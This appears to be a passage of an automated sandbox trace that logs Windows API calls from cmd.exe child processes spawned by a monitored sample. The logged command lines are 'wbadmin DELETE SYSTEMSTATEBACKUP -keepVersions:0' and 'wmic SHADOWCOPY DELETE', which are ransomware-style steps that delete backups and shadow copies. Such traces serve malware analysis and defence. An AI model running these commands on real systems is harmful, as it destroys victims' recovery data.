lpData=0x32feaf0*=0x9, lpcbData=0x32feae8*=0x4) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x0, lpData=0x32feaf0*=0x9, lpcbData=0x32feae8*=0x1000) returned 0x2 [0263.969] RegCloseKey (hKey=0xcc) returned 0x0 [0263.969] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb057f0 [0263.969] srand (_Seed=0x5cb057f0) [0263.969] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" [0263.969] malloc (_Size=0x4000) returned 0x37d21f0 [0263.970] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" [0263.970] malloc (_Size=0xffce) returned 0x3690048 [0263.970] ??_V@YAXPAX@Z () returned 0x32ffac8 [0263.971] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3690048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0263.971] malloc (_Size=0xffce) returned 0x36a0020 [0263.971] ??_V@YAXPAX@Z () returned 0x32ff89c [0263.972] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36a0020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0263.972] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0263.972] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0263.972] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0263.972] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0263.972] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0263.972] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0263.972] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0263.972] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0263.972] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0263.972] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0263.972] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0263.972] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0263.973] GetProcessHeap () returned 0x3340000 [0263.973] RtlFreeHeap (HeapHandle=0x3340000, Flags=0x0, BaseAddress=0x33456c0) returned 1 [0263.973] GetEnvironmentStringsW () returned 0x3344be8* [0263.973] GetProcessHeap () returned 0x3340000 [0263.973] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0xae2) returned 0x3347760 [0263.973] FreeEnvironmentStringsA (penv="A") returned 1 [0263.973] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0263.973] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0263.973] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0263.973] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0263.973] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0263.973] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0263.973] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0263.973] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0263.973] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0263.973] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0263.973] malloc (_Size=0xffce) returned 0x36afff8 [0263.974] ??_V@YAXPAX@Z () returned 0x32ff634 [0263.974] GetProcessHeap () returned 0x3340000 [0263.974] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x38) returned 0x3340ae0 [0263.974] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x36afff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0263.974] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x36afff8, lpFilePart=0x32ff680 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x32ff680*="Desktop") returned 0x17 [0263.975] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0263.975] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32ff400 | out: lpFindFileData=0x32ff400) returned 0x3340b20 [0263.975] FindClose (in: hFindFile=0x3340b20 | out: hFindFile=0x3340b20) returned 1 [0263.975] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x32ff400 | out: lpFindFileData=0x32ff400) returned 0x3340b20 [0263.975] FindClose (in: hFindFile=0x3340b20 | out: hFindFile=0x3340b20) returned 1 [0263.975] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x32ff400 | out: lpFindFileData=0x32ff400) returned 0x3340b20 [0263.975] FindClose (in: hFindFile=0x3340b20 | out: hFindFile=0x3340b20) returned 1 [0263.975] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0263.976] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0263.976] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0263.976] GetProcessHeap () returned 0x3340000 [0263.976] RtlFreeHeap (HeapHandle=0x3340000, Flags=0x0, BaseAddress=0x3347760) returned 1 [0263.976] GetEnvironmentStringsW () returned 0x3344be8* [0263.976] GetProcessHeap () returned 0x3340000 [0263.976] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0xb1a) returned 0x3346c70 [0263.976] FreeEnvironmentStringsA (penv="=") returned 1 [0263.976] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3690048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0263.976] GetProcessHeap () returned 0x3340000 [0263.976] RtlFreeHeap (HeapHandle=0x3340000, Flags=0x0, BaseAddress=0x3340ae0) returned 1 [0263.976] ??_V@YAXPAX@Z () returned 0x1 [0263.976] ??_V@YAXPAX@Z () returned 0x1 [0263.976] GetProcessHeap () returned 0x3340000 [0263.976] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x400e) returned 0x3348d78 [0263.976] GetProcessHeap () returned 0x3340000 [0263.977] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x6e) returned 0x3347798 [0263.977] GetProcessHeap () returned 0x3340000 [0263.977] RtlFreeHeap (HeapHandle=0x3340000, Flags=0x0, BaseAddress=0x3348d78) returned 1 [0263.977] GetConsoleOutputCP () returned 0x1b5 [0264.110] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0264.110] GetUserDefaultLCID () returned 0x409 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xc2f82c, cchData=8 | out: lpLCData=":") returned 2 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32ff9f0, cchData=128 | out: lpLCData="0") returned 2 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32ff9f0, cchData=128 | out: lpLCData="0") returned 2 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32ff9f0, cchData=128 | out: lpLCData="1") returned 2 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xc2f81c, cchData=8 | out: lpLCData="/") returned 2 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xc2f7b8, cchData=32 | out: lpLCData="Mon") returned 4 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xc2f778, cchData=32 | out: lpLCData="Tue") returned 4 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xc2f738, cchData=32 | out: lpLCData="Wed") returned 4 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xc2f6f8, cchData=32 | out: lpLCData="Thu") returned 4 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xc2f6b8, cchData=32 | out: lpLCData="Fri") returned 4 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xc2f678, cchData=32 | out: lpLCData="Sat") returned 4 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xc2f638, cchData=32 | out: lpLCData="Sun") returned 4 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xc2f80c, cchData=8 | out: lpLCData=".") returned 2 [0264.111] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xc2f7f8, cchData=8 | out: lpLCData=",") returned 2 [0264.111] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0264.113] GetProcessHeap () returned 0x3340000 [0264.113] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x0, Size=0x20c) returned 0x3347858 [0264.113] GetConsoleTitleW (in: lpConsoleTitle=0x3347858, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.195] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0264.195] GetProcAddress (hModule=0x75e90000, lpProcName="CopyFileExW") returned 0x75ea4330 [0264.195] GetProcAddress (hModule=0x75e90000, lpProcName="IsDebuggerPresent") returned 0x75ea5930 [0264.195] GetProcAddress (hModule=0x75e90000, lpProcName="SetConsoleInputExeNameW") returned 0x74fe09d0 [0264.195] ??_V@YAXPAX@Z () returned 0x1 [0264.196] GetProcessHeap () returned 0x3340000 [0264.196] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x400a) returned 0x3348d78 [0264.196] GetProcessHeap () returned 0x3340000 [0264.196] RtlFreeHeap (HeapHandle=0x3340000, Flags=0x0, BaseAddress=0x3348d78) returned 1 [0264.196] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0264.196] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0264.196] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0264.196] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0264.196] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0264.196] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0264.196] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0264.197] GetProcessHeap () returned 0x3340000 [0264.197] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x58) returned 0x3347a70 [0264.197] GetProcessHeap () returned 0x3340000 [0264.197] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x18) returned 0x3347ad0 [0264.198] GetProcessHeap () returned 0x3340000 [0264.198] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x5c) returned 0x3347af0 [0264.248] GetConsoleTitleW (in: lpConsoleTitle=0x32ff8e8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.440] malloc (_Size=0xffce) returned 0x36a2638 [0264.440] ??_V@YAXPAX@Z () returned 0x32ff674 [0264.441] malloc (_Size=0xffce) returned 0x36b2610 [0264.441] ??_V@YAXPAX@Z () returned 0x32ff42c [0264.442] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0264.442] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0264.442] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0264.442] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0264.442] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0264.442] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0264.442] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0264.442] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0264.442] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0264.442] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0264.442] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0264.442] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0264.442] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0264.442] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0264.442] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0264.442] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0264.442] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0264.442] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0264.442] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0264.442] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0264.442] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0264.442] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0264.442] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0264.442] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0264.443] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0264.443] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0264.443] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0264.443] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0264.443] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0264.443] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0264.443] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0264.443] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0264.443] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0264.443] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0264.443] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0264.443] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0264.443] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0264.443] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0264.443] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0264.443] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0264.443] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0264.443] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0264.443] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0264.443] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0264.443] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0264.443] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0264.443] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0264.443] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0264.443] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0264.443] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0264.443] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0264.443] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0264.443] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0264.443] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0264.443] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0264.443] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0264.443] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0264.443] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0264.443] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0264.444] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0264.444] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0264.444] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0264.444] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0264.444] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0264.444] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0264.444] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0264.444] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0264.444] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0264.444] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0264.444] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0264.444] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0264.444] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0264.444] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0264.444] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0264.444] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0264.444] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0264.444] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0264.444] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0264.444] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0264.444] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0264.444] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0264.444] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0264.444] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0264.444] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0264.444] _wcsicmp (_String1="wbadmin", _String2="FOR") returned 17 [0264.444] _wcsicmp (_String1="wbadmin", _String2="IF") returned 14 [0264.444] _wcsicmp (_String1="wbadmin", _String2="REM") returned 5 [0264.445] ??_V@YAXPAX@Z () returned 0x1 [0264.445] GetProcessHeap () returned 0x3340000 [0264.445] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0xffd6) returned 0x3348d78 [0264.446] GetProcessHeap () returned 0x3340000 [0264.446] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x6c) returned 0x3347b58 [0264.446] _wcsnicmp (_String1="wbad", _String2="cmd ", _MaxCount=0x4) returned 20 [0264.446] malloc (_Size=0xffce) returned 0x36b2610 [0264.446] ??_V@YAXPAX@Z () returned 0x32ff1ac [0264.446] GetProcessHeap () returned 0x3340000 [0264.446] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x1ffa4) returned 0x3358d58 [0264.448] SetErrorMode (uMode=0x0) returned 0x0 [0264.448] SetErrorMode (uMode=0x1) returned 0x0 [0264.448] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x3358d60, lpFilePart=0x32ff1cc | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x32ff1cc*="Desktop") returned 0x17 [0264.448] SetErrorMode (uMode=0x0) returned 0x1 [0264.448] GetProcessHeap () returned 0x3340000 [0264.448] RtlReAllocateHeap (Heap=0x3340000, Flags=0x0, Ptr=0x3358d58, Size=0x48) returned 0x3358d58 [0264.448] GetProcessHeap () returned 0x3340000 [0264.448] RtlSizeHeap (HeapHandle=0x3340000, Flags=0x0, MemoryPointer=0x3358d58) returned 0x48 [0264.448] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0264.448] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0264.490] GetProcessHeap () returned 0x3340000 [0264.490] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x1b4) returned 0x3347bd0 [0264.490] GetProcessHeap () returned 0x3340000 [0264.490] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x360) returned 0x3347d90 [0264.504] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.505] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32fef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fef58) returned 0xffffffff [0264.505] GetLastError () returned 0x2 [0264.505] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.505] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32fef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fef58) returned 0xffffffff [0264.507] GetLastError () returned 0x2 [0264.507] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.507] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32fef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fef58) returned 0xffffffff [0264.508] GetLastError () returned 0x2 [0264.508] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.508] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32fef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fef58) returned 0xffffffff [0264.508] GetLastError () returned 0x2 [0264.508] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.508] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32fef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fef58) returned 0xffffffff [0264.510] GetLastError () returned 0x2 [0264.510] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.510] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32fef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fef58) returned 0xffffffff [0264.514] GetLastError () returned 0x2 [0264.514] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.514] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32fef58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32fef58) returned 0xffffffff [0264.514] GetLastError () returned 0x2 [0264.514] ??_V@YAXPAX@Z () returned 0x1 [0264.514] _get_osfhandle (_FileHandle=2) returned 0x94 [0264.514] GetFileType (hFile=0x94) returned 0x2 [0264.515] GetStdHandle (nStdHandle=0xfffffff4) returned 0x94 [0264.515] GetConsoleMode (in: hConsoleHandle=0x94, lpMode=0x32ff3a4 | out: lpMode=0x32ff3a4) returned 1 [0264.694] _get_osfhandle (_FileHandle=2) returned 0x94 [0264.694] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x94, lpConsoleScreenBufferInfo=0x32ff3f4 | out: lpConsoleScreenBufferInfo=0x32ff3f4) returned 1 [0264.868] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0264.869] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0xc3b990, nSize=0x2000, Arguments=0x32ff424 | out: lpBuffer="'wbadmin' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0264.869] WriteConsoleW (in: hConsoleOutput=0x94, lpBuffer=0xc3b990*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x32ff3d8, lpReserved=0x0 | out: lpBuffer=0xc3b990*, lpNumberOfCharsWritten=0x32ff3d8*=0x62) returned 1 [0265.110] ??_V@YAXPAX@Z () returned 0x1 [0265.110] _get_osfhandle (_FileHandle=1) returned 0x90 [0265.110] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0265.836] _get_osfhandle (_FileHandle=1) returned 0x90 [0265.836] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0265.978] _get_osfhandle (_FileHandle=0) returned 0x8c [0265.978] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0266.400] SetConsoleInputExeNameW () returned 0x1 [0266.400] GetConsoleOutputCP () returned 0x1b5 [0266.851] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0266.851] SetThreadUILanguage (LangId=0x0) returned 0x3010409 [0267.101] exit (_Code=1) [0267.102] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 121 os_tid = 0x654 Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1f553000" os_pid = "0x868" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xec8" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 96 os_tid = 0x668 [0261.977] GetModuleHandleA (lpModuleName=0x0) returned 0xc00000 [0261.977] __set_app_type (_Type=0x1) [0261.977] __p__fmode () returned 0x77ae3c14 [0261.977] __p__commode () returned 0x77ae49ec [0261.977] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc16fd0) returned 0x0 [0261.977] __getmainargs (in: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac, _DoWildCard=0, _StartInfo=0xc2d1b8 | out: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac) returned 0 [0261.978] _onexit (_Func=0xc18030) returned 0xc18030 [0261.978] _onexit (_Func=0xc18040) returned 0xc18040 [0261.978] _onexit (_Func=0xc18050) returned 0xc18050 [0261.978] _onexit (_Func=0xc18060) returned 0xc18060 [0261.978] _onexit (_Func=0xc18070) returned 0xc18070 [0261.979] _onexit (_Func=0xc18080) returned 0xc18080 [0261.979] GetCurrentThreadId () returned 0x668 [0261.979] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x668) returned 0xbc [0261.979] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0261.979] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0261.983] SetThreadUILanguage (LangId=0x0) returned 0x2eb0409 [0262.488] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0262.488] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xbffa88 | out: phkResult=0xbffa88*=0x0) returned 0x2 [0262.488] VirtualQuery 